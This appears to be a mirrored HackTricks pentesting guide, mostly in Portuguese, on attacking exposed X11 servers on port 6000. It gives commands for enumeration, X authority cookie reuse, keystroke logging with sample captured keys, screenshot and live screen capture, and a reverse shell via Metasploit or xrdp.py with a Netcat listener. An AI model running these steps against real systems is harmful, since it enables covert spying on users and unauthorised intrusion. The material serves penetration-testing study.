2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-22 02:53:28 +00:00
hacktricks/network-services-pentesting/6000-pentesting-x11.md

195 lines
8.4 KiB
Markdown
Raw Normal View History

# 6000 - Pentesting X11
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
2023-02-27 09:28:45 +00:00
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
2023-02-27 09:28:45 +00:00
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
2023-02-27 09:28:45 +00:00
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
2022-11-05 09:07:43 +00:00
2023-06-06 18:56:34 +00:00
## Informações Básicas
**X Window System** (X) é um sistema de janelas versátil prevalente em sistemas operacionais baseados em UNIX. Ele fornece uma estrutura para criar **interfaces gráficas de usuário (GUIs)**, com programas individuais lidando com o design da interface do usuário. Essa flexibilidade permite experiências diversas e personalizáveis dentro do ambiente X.
2023-06-06 18:56:34 +00:00
**Porta padrão:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
2023-06-06 18:56:34 +00:00
## Enumeração
2023-06-06 18:56:34 +00:00
Verifique a **conexão anônima:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
2023-06-06 18:56:34 +00:00
#### Enumeração Local
O arquivo **`.Xauthority`** na pasta home do usuário é **usado** pelo **X11 para autorização**. De [**aqui**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: Gerando 128 bits de chave (“cookie”), armazenando-o em \~/.Xauthority (ou onde a variável de ambiente XAUTHORITY aponta). O cliente o envia para o servidor em texto simples! o servidor verifica se possui uma cópia deste “cookie” e, se sim, a conexão é permitida. a chave é gerada pelo DMX.
{% hint style="warning" %}
Para **usar o cookie** você deve definir a variável de ambiente: **`export XAUTHORITY=/path/to/.Xauthority`**
{% endhint %}
#### Sessão de Enumeração Local
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
No exemplo, `localhost:0` estava executando xfce4-session.
2023-06-06 18:56:34 +00:00
## Verificar Conexão
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) para capturar as teclas digitadas no teclado.
Sample Output:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Captura de screenshots
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Visualização de Área de Trabalho Remota
Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
Primeiro, precisamos encontrar o ID da janela usando xwininfo
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Para **visualização ao vivo** precisamos usar
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
2023-06-06 18:56:34 +00:00
## Obter Shell
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
2023-06-06 18:56:34 +00:00
Outra maneira:
**Reverse Shell:** O Xrdp também permite obter um reverse shell via Netcat. Digite o seguinte comando:
```bash
./xrdp.py \<IP:0> no-disp
```
Na interface, você pode ver a opção **R-shell**.
Em seguida, inicie um **listener Netcat** em seu sistema local na porta 5555.
```bash
nc -lvp 5555
```
Então, coloque seu endereço IP e porta na opção **R-Shell** e clique em **R-shell** para obter um shell
## Referências
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
2020-09-24 20:01:29 +00:00
2023-03-05 19:54:13 +00:00
## Shodan
2020-09-24 20:01:29 +00:00
* `port:6000 x11`
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs!
2023-02-27 09:28:45 +00:00
**Insights de Hacking**\
Engaje-se com conteúdo que mergulha na emoção e nos desafios do hacking
2023-02-27 09:28:45 +00:00
**Notícias de Hack em Tempo Real**\
Mantenha-se atualizado com o mundo do hacking em ritmo acelerado através de notícias e insights em tempo real
**Últimos Anúncios**\
Fique informado sobre as novas recompensas de bugs lançadas e atualizações cruciais da plataforma
**Junte-se a nós no** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e comece a colaborar com os melhores hackers hoje!
2022-11-05 09:07:43 +00:00
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}